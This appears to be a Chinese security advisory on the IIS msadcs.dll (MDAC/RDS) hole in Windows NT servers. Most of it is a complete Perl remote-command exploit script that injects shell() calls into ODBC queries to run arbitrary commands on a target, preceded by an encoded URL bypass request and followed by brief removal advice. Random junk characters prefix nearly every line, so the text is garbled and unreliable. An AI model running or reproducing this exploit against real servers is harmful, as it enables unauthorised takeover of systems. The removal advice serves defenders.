IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/o2P +Xr8" aBzszp]l+ 涉及程序：
P(a.iu5 Microsoft NT server
*;XWLd# n\ Hs@. 描述：
q SejLh6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@;?T~^nGj 8#&q$kE 详细：
d;+[i 如果你没有时间读详细内容的话，就删除:
c~o+WI
Ym c:\Program Files\Common Files\System\Msadc\msadcs.dll
rP(eva 有关的安全问题就没有了。
&k8vWXMGk% 3 or\: 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
.{S8f#p9T "p3_y`h6+ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U/NBFc:[y: 关于利用ODBC远程漏洞的描述，请参看:
R l6\#C* dgo3'ZO
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DE
IB!n Hp|}~xjn 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Cbs5dn(Y http://www.microsoft.com/security/bulletins/MS99-025faq.asp J4Y Bq p w If
{6z{ 这里不再论述。
O6]. *25 "Y=+Ls(3o( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1J Ennqu e2-Dq]p /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5 %}wV,Y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
6yy;JQAke _U{&@}3
Y[SU&LM #将下面这段保存为txt文件，然后: "perl -x 文件名"
fKtV '/X;Q vJ`.iRU | #!perl
dXn%lJ #
|([R'Orm # MSADC/RDS 'usage' (aka exploit) script
Xes|[ *Y!V #
z* <y5 # by rain.forest.puppy
?tg
y| #
*{o UWt # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-]:G L>b # beta test and find errors!
x#C@8Bxq= j!z-)p8hy use Socket; use Getopt::Std;
0 W^d hYO getopts("e:vd:h:XR", \%args);
QjPj[c jw
,izxia print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$c&0F, 8Q)@ if (!defined $args{h} && !defined $args{R}) {
`8\Ja$ = print qq~
*U l*%!?D Usage: msadc.pl -h <host> { -d <delay> -X -v }
n,O5".aa< -h <host> = host you want to scan (ip or domain)
4ujvD ^ -d <seconds> = delay between calls, default 1 second
jKIc09H| -X = dump Index Server path table, if available
m ceG!@t -v = verbose
@$eT~ C -e = external dictionary file for step 5
[hRU&z;W iK_ c.b Or a -R will resume a command session
Ejq#~Zhr! q|)Q9+6$+ ~; exit;}
n +1y X%9*O[6{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Tx%VU8\?n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+' oX if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W0cgI9=9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
VK3it3FI>3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O''y>N9
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
x6'^4y] ) DW(~Qdk if (!defined $args{R}){ $ret = &has_msadc;
) $x_!=@1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B
?%L 8X?>=tl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{w^uWR4f . "cmd /c ";
Dmdy=&G $in=<STDIN>; chomp $in;
h F&}lPVtv $command="cmd /c " . $in ;
eUO9 a~< 3,aN8F1;C if (defined $args{R}) {&load; exit;}
G.U 5) 4_^ `&$B3)Eb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
99 wc &try_btcustmr;
o!&W sD v@EQ^C2.& print "\nStep 2: Trying to make our own DSN...";
+K6szGP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bZipm( e < Mf*l)%* print "\nStep 3: Trying known DSNs...";
84&XW &known_dsn;
,7d|O}B l*7?Y7FK print "\nStep 4: Trying known .mdbs...";
~0-g%C?R &known_mdb;
t"s5\;IJ 1x >iz
`A if (defined $args{e}){
-g`I H-B print "\nStep 5: Trying dictionary of DSN names...";
;8B.;%qkL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X,v4d~>] 2RppP?M! print "Sorry Charley...maybe next time?\n";
{)K](S
~ exit;
5^)_B;.f %(LvE}[RJ ##############################################################################
G5 '_a$ B/eaqJ sub sendraw { # ripped and modded from whisker
E(L<L1:" sleep($delay); # it's a DoS on the server! At least on mine...
'dt\db5p my ($pstr)=@_;
S]2 { ZDP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LAZVW</ die("Socket problems\n");
/r.6XZs6 if(connect(S,pack "SnA4x8",2,80,$target)){
!E& MBAKy select(S); $|=1;
CB*/ =Y print $pstr; my @in=<S>;
G?V"SU. select(STDOUT); close(S);
%%g-GyP
1 return @in;
,{<p } else { die("Can't connect...\n"); }}
xFsmf< Vm FrZ]=: ##############################################################################
.2 X2b<%) XT||M)# sub make_header { # make the HTTP request
m )f|:MM my $msadc=<<EOT
93w~.p POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M#0 @X User-Agent: ACTIVEDATA
i7eI=f-Q Host: $ip
g"y?nF.&F Content-Length: $clen
<d@pmh Connection: Keep-Alive
l_ +A5Xy 5}a"?5J^ ADCClientVersion:01.06
')nnWlK Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
AQ@v>wr} v *P[W_. --!ADM!ROX!YOUR!WORLD!
o'qm82*
= Content-Type: application/x-varg
2a[9h # Content-Length: $reqlen
/4C`k=> Bxv8RB EOT
|U=(b, ; $msadc=~s/\n/\r\n/g;
5G? .T? return $msadc;}
Kpg: yrc[' VG#Q;Xd} ##############################################################################
]P*!'iYN( - 2lRia sub make_req { # make the RDS request
Vj!WaN_ my ($switch, $p1, $p2)=@_;
5\G)Q<A]*L my $req=""; my $t1, $t2, $query, $dsn;
.3g&9WvN!Z ?L`ZKRD if ($switch==1){ # this is the btcustmr.mdb query
;c)! @GoA $query="Select * from Customers where City=" . make_shell();
o>!JrH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
; J2-rh $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
& s-V Su7 8_iHVc;< elsif ($switch==2){ # this is general make table query
2nx9#B*/T $query="create table AZZ (B int, C varchar(10))";
46dc.Y i $dsn="$p1";}
{ 8ECNQ[ ] 9Dq.l r^ elsif ($switch==3){ # this is general exploit table query
D - iUN $query="select * from AZZ where C=" . make_shell();
KW>VOW<. $dsn="$p1";}
a4u ^f5)@ I Tn;m elsif ($switch==4){ # attempt to hork file info from index server
_m7c o : $query="select path from scope()";
tDU}rI8? $dsn="Provider=MSIDXS;";}
k5s ?lWH h,hL?imD elsif ($switch==5){ # bad query
]Wy.R6 $query="select";
>
Z++^YVE $dsn="$p1";}
lWlUWhLnP L ?.7\a@ $t1= make_unicode($query);
R2Yl)2
D $t2= make_unicode($dsn);
% 1Jd ^[W $req = "\x02\x00\x03\x00";
k.{G&]r{ $req.= "\x08\x00" . pack ("S1", length($t1));
2H>aC
wfX $req.= "\x00\x00" . $t1 ;
{jhcZ"#>\ $req.= "\x08\x00" . pack ("S1", length($t2));
Z~R dFC $req.= "\x00\x00" . $t2 ;
U IQ 6SvM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.~22^k return $req;}
'^B3pR: \6 LcV ik ##############################################################################
]
?9t - Tn xU/) sub make_shell { # this makes the shell() statement
r8+*|$K return "'|shell(\"$command\")|'";}
QqjTL uN =N;$0 Y(g ##############################################################################
fOJj(0=y dh? S[|=' sub make_unicode { # quick little function to convert to unicode
7 BK46x my ($in)=@_; my $out;
b_l.QKk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
cb4b, Ri return $out;}
@LHtt /& /evaTQPz ##############################################################################
Z]p8IH%~92 3f,u}1npa* sub rdo_success { # checks for RDO return success (this is kludge)
>eu
`!8 my (@in) = @_; my $base=content_start(@in);
?d#Lr*m if($in[$base]=~/multipart\/mixed/){
bCt_y R return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Lv ^a+' return 0;}
9Y d-m R;.d/U|av ##############################################################################
F;X"3F.! ,?fN#gc : sub make_dsn { # this makes a DSN for us
n)Hk8)^8 my @drives=("c","d","e","f");
GP Ix@k print "\nMaking DSN: ";
$Llv p bl foreach $drive (@drives) {
I=K[SY,]9 print "$drive: ";
rEg+i@~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`M,Nd'5&| "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
oq243\?Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U* 4{" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]}/mFY ?7 return 0 if $2 eq "404"; # not found/doesn't exist
IF& PGo if($2 eq "200") {
B6(h7~0(< foreach $line (@results) {
.r(^h/IF return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|z T%$ } return 0;}
)< l\jfx e /XjN% | ##############################################################################
TJE%
U0Ln exsQmbj* % sub verify_exists {
_qEWu Do my ($page)=@_;
AmgWj/> my @results=sendraw("GET $page HTTP/1.0\n\n");
ws. ?cCTpt return $results[0];}
#i@ACAgn;6 yW[L,N7d ##############################################################################
KxGKA a (P^e)< sub try_btcustmr {
Tln9q0"W my @drives=("c","d","e","f");
VPdwSW[eM my @dirs=("winnt","winnt35","winnt351","win","windows");
hyM'x* qjJ{+Rz2 foreach $dir (@dirs) {
u0wn=Dg print "$dir -> "; # fun status so you can see progress
>pN;J)H foreach $drive (@drives) {
?VUgwP_= print "$drive: "; # ditto
G]1(X38[si $reqlen=length( make_req(1,$drive,$dir) ) - 28;
keq r%:E8 $reqlenlen=length( "$reqlen" );
#aj|vox} $clen= 206 + $reqlenlen + $reqlen;
QCVsVG!sN Lf[G>0t&n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|X,$?ZDa p if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
+SO2M|ru& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%3ou^mcj :
x>I-
3G ##############################################################################
@< wYT$ xq# U 4E sub odbc_error {
@Q/x &BV my (@in)=@_; my $base;
f2 `P8$U)R my $base = content_start(@in);
w 9/nVu if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#4Dn@Gqh.Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
83\ o ( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/A %om|+Gq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1 ,#{X3 return $in[$base+4].$in[$base+5].$in[$base+6];}
w/?n Up print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@TdQZZ}G\x print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,}eRnl\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,:Rft hN Z4v/ ##############################################################################
aJEbAs} j2< !z;2 sub verbose {
cxAViWsf my ($in)=@_;
JmnBq<&,0 return if !$verbose;
mrK,Ql print STDOUT "\n$in\n";}
Oqd"0Qt- *?EO n - ##############################################################################
aQ32p4C $, 8 CH)w sub save {
V?U%C%C|e my ($p1, $p2, $p3, $p4)=@_;
b24NL' jm open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}f<fg Y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j l;kc GE close OUT;}
H iQoRk % bCcsdK ##############################################################################
CP c" 7 p
P| sub load {
(eC F>Wh^m my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"bHtf_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z}sG3p @p=<IN>; close(IN);
R59e&
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H.j LGe> $target= inet_aton($ip) || die("inet_aton problems");
t} 5'(9 print "Resuming to $ip ...";
f}L>&^I) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/K i0+(4 if($p[1]==1) {
B, QC -Tn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C1ZFA![ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X{0ax. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3%It~o? if (rdo_success(@results)){print "Success!\n";}
=XZF.ur else { print "failed\n"; verbose(odbc_error(@results));}}
7yMi eU F elsif ($p[1]==3){
n u \ if(run_query("$p[3]")){
&(5^v w<0 print "Success!\n";} else { print "failed\n"; }}
^2&O3s elsif ($p[1]==4){
& *jxI [ if(run_query($drvst . "$p[3]")){
1?/5A|?V4+ print "Success!\n"; } else { print "failed\n"; }}
"7To c4 exit;}
btUUZ"q< ]%NO"HzF~ ##############################################################################
"i!2=A8k ^BF@j4*~ sub create_table {
XA&tTpfJE my ($in)=@_;
a}5vY $reqlen=length( make_req(2,$in,"") ) - 28;
(hhdb f $reqlenlen=length( "$reqlen" );
X";QA": $clen= 206 + $reqlenlen + $reqlen;
ir?U w:/f my @results=sendraw(make_header() . make_req(2,$in,""));
u\Nw:Uu i return 1 if rdo_success(@results);
v R6^n~ my $temp= odbc_error(@results); verbose($temp);
adRNrt*! return 1 if $temp=~/Table 'AZZ' already exists/;
y9V;IXhDc return 0;}
(&9DB a z:~{ f*- ##############################################################################
Y(#d8o}}# $Nt=gSW w5 sub known_dsn {
' U|MM;( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
TS\A`{^T my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
EWu iaw. "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ev$-P X "banner", "banners", "ads", "ADCDemo", "ADCTest");
p%1xj2 ?nN sx;V,"Y foreach $dSn (@dsns) {
b6LC$"t0 print ".";
+P>
A
P& next if (!is_access("DSN=$dSn"));
L]/\C{}k if(create_table("DSN=$dSn")){
H KEop print "$dSn successful\n";
>6.[i@RmWU if(run_query("DSN=$dSn")){
=\ti< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hr~qt~Oi print "Something's borked. Use verbose next time\n";}}} print "\n";}
T!=2 0 !I 5CH-:|(;= ##############################################################################
oP|pOs\$p %#S "~) sub is_access {
h+zkVRyA my ($in)=@_;
UtW"U 0A $reqlen=length( make_req(5,$in,"") ) - 28;
'? vgp $reqlenlen=length( "$reqlen" );
l ) )~ & $clen= 206 + $reqlenlen + $reqlen;
)CwMR'LV my @results=sendraw(make_header() . make_req(5,$in,""));
6KIjq[T^ my $temp= odbc_error(@results);
U& Sbm~Qi verbose($temp); return 1 if ($temp=~/Microsoft Access/);
RAD4q"}k return 0;}
t9f4P^V` B>p0FQ. ##############################################################################
07T;IV3#C5 9d,]_l.sB sub run_query {
YaY;o^11/ my ($in)=@_;
bgzT 3KZ $reqlen=length( make_req(3,$in,"") ) - 28;
w{:Oa7_A $reqlenlen=length( "$reqlen" );
LAK-!!0X $clen= 206 + $reqlenlen + $reqlen;
2h|(8f:y my @results=sendraw(make_header() . make_req(3,$in,""));
Dvq *XI5 return 1 if rdo_success(@results);
ERX|cc my $temp= odbc_error(@results); verbose($temp);
'n>3`1E, return 0;}
.qqb> 7|q RIVL 0Ig ##############################################################################
g'}`FvADi %_j?<h& sub known_mdb {
#v~ S",*.f my @drives=("c","d","e","f","g");
y3@x*_K8 my @dirs=("winnt","winnt35","winnt351","win","windows");
[o [v"e\w my $dir, $drive, $mdb;
.Kh(F 6
s my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
H(%] Os }VGI Y>v # this is sparse, because I don't know of many
&, Zz my @sysmdbs=( "\\catroot\\icatalog.mdb",
FB = "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-}N\REXE "\\system32\\certmdb.mdb",
]UCk_zWsn1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*OGXu07 ! T^(n+ lv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
X>@.-{6T "\\cfusion\\cfapps\\forums\\forums_.mdb",
cO=UswIkwO "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f@;>M9)< "\\cfusion\\cfapps\\security\\realm_.mdb",
$5Y^fwIK "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,#
jOf{L* "\\cfusion\\database\\cfexamples.mdb",
r" u(!~R "\\cfusion\\database\\cfsnippets.mdb",
q/w6sQx$ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0LHiOav "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
a`@<Z sR "\\cfusion\\brighttiger\\database\\cleam.mdb",
C5s N[ "\\cfusion\\database\\smpolicy.mdb",
bKt3x+x( "\\cfusion\\database\cypress.mdb",
[Tb3z:UUvf "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Pdo5 sve "\\website\\cgi-win\\dbsample.mdb",
9a~BAH,j "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/m{ ?o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a9@l8{)RX ); #these are just
sNk>0 X[ foreach $drive (@drives) {
Y(I*%=:$ foreach $dir (@dirs){
H:{(CY?t foreach $mdb (@sysmdbs) {
;aRWJG print ".";
A]SB c2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|E_+*1l q. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xU\:Vid +A if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9J;H.:WH print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fssL'DD } else { print "Something's borked. Use verbose next time\n"; }}}}}
[vjkU7;7A 9
<kkzy foreach $drive (@drives) {
jXDzjt94J foreach $mdb (@mdbs) {
"$:y03V print ".";
Jm J,~_ if(create_table($drv . $drive . $dir . $mdb)){
(krG0S:0Q print "\n" . $drive . $dir . $mdb . " successful\n";
Ppb2"I k if(run_query($drv . $drive . $dir . $mdb)){
LN6 JH ! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{R{%Z } else { print "Something's borked. Use verbose next time\n"; }}}}
M4hN#0("4 }
RoM*Qjw jf)JPa _ ##############################################################################
7quwc' ! E?q'|f sub hork_idx {
X" khuyT_ print "\nAttempting to dump Index Server tables...\n";
_8b >r1$ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%{VI-CQ $reqlen=length( make_req(4,"","") ) - 28;
k2tX$ \E $reqlenlen=length( "$reqlen" );
CL}I:/zRB $clen= 206 + $reqlenlen + $reqlen;
qP^0($ my @results=sendraw2(make_header() . make_req(4,"",""));
$
p1EqVu if (rdo_success(@results)){
~ {7N TW my $max=@results; my $c; my %d;
e/ % ; for($c=19; $c<$max; $c++){
3 6Z`.E>~L $results[$c]=~s/\x00//g;
w sGq>F~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
eP'kY(g8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
BK\~I $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k&"qdB(I $d{"$1$2"}="";}
<ZvPtW foreach $c (keys %d){ print "$c\n"; }
u/:Sf*;? } else {print "Index server doesn't seem to be installed.\n"; }}
&lfF!
6exlb: ##############################################################################
Xie dg y nPIR 1Z sub dsn_dict {
=cKk3kJC open(IN, "<$args{e}") || die("Can't open external dictionary\n");
TtjSLkF while(<IN>){
y`@4n .Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
6C51:XQO next if (!is_access("DSN=$dSn"));
/sC[5G% if(create_table("DSN=$dSn")){
1H[;7@o$e print "$dSn successful\n";
| v'5*n9 if(run_query("DSN=$dSn")){
\w _[tPz} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
eD1MP<>h print "Something's borked. Use verbose next time\n";}}}
rMFZ#38d print "\n"; close(IN);}
dvWlx]' |Gs-9+'y ##############################################################################
.p0n\ $r Ay6rUN1ef sub sendraw2 { # ripped and modded from whisker
[3NV # sleep($delay); # it's a DoS on the server! At least on mine...
COL8Y Y my ($pstr)=@_;
}N9a!,{P=b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S_ -mmzC( die("Socket problems\n");
+~{nU' if(connect(S,pack "SnA4x8",2,80,$target)){
<:7e4# print "Connected. Getting data";
\*"0wR;[K open(OUT,">raw.out"); my @in;
9/KQAc* select(S); $|=1; print $pstr;
cWy0N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
4wD ^?S!p close(OUT); select(STDOUT); close(S); return @in;
44{:UhJkx } else { die("Can't connect...\n"); }}
5.HztNL 8A]q!To ##############################################################################
W" ,jZ"7 61wG: sub content_start { # this will take in the server headers
]Oh>E CA|D my (@in)=@_; my $c;
;RZa<2 for ($c=1;$c<500;$c++) {
F7Yuk y if($in[$c] =~/^\x0d\x0a/){
H.~+{jTr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%a^!~qV else { return $c+1; }}}
Z$K%@q,10+ return -1;} # it should never get here actually
\`9|~!,Ix7 G%/cV?18 ##############################################################################
3lgy X/?o FsZEB /c sub funky {
GuDD7~qxY my (@in)=@_; my $error=odbc_error(@in);
WW@" 75t if($error=~/ADO could not find the specified provider/){
s_?* R print "\nServer returned an ADO miscofiguration message\nAborting.\n";
xx#Ef@bS exit;}
BeCr){,3 if($error=~/A Handler is required/){
>'g60 R[ print "\nServer has custom handler filters (they most likely are patched)\n";
Qn c S& exit;}
1fp&"K:yR if($error=~/specified Handler has denied Access/){
]V\ g$@ print "\nServer has custom handler filters (they most likely are patched)\n";
w8Vzx 8 exit;}}
S%|'
/cFo N Pq2C8: ##############################################################################
uV\#J{'* {lw
ec"{ sub has_msadc {
`b$I)UU m my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
fkG"72 95A my $base=content_start(@results);
.qP
zd(<T7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
> _) a7% return 0;}
wC@ U/? ~z"- >.u ########################
N.J:Qn`( j}Mpc;XOc Qd=/ e pkm 解决方案：
~$ Yuxo 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"q8 'tN>< 2、移除web 目录: /msadc
